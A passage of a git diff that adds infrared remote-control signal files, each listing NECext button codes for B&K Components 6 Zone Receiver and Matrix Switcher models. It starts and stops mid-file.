+# +name: LOUDNESS +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: CF 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: E5 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: EB 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: F9 00 00 00 +# +name: V+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir new file mode 100644 index 000000000..736159510 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 30 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 3B 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir new file mode 100644 index 000000000..61ea13233 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 18 00 00 00 +# +name: TUN_- +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 1B 00 00 00 +# +name: TUN_+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 1C 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 1F 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 29 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 2D 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 30 00 00 00 +# +name: SEL/ENTER +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 4A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 4B 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 5A 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 65 00 00 00 +# +name: SOURCE_+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 76 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 8E 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: A2 00 00 00 +# +name: SOURCE_- +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: A6 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: C6 00 00 00 +# +name: LOUDNESS +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: CF 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: E5 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: EB 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: F9 00 00 00 +# +name: V+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir new file mode 100644 index 000000000..60be1b88c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: 5B 4A 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir new file mode 100644 index 000000000..fa019eb20 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: STATIOIN_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: PRE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 8E 00 00 00 +# +name: PRE- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir new file mode 100644 index 000000000..8549a60d7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 67 89 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir new file mode 100644 index 000000000..fe042d0da --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 2F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 6C 39 00 00 +command: 39 00 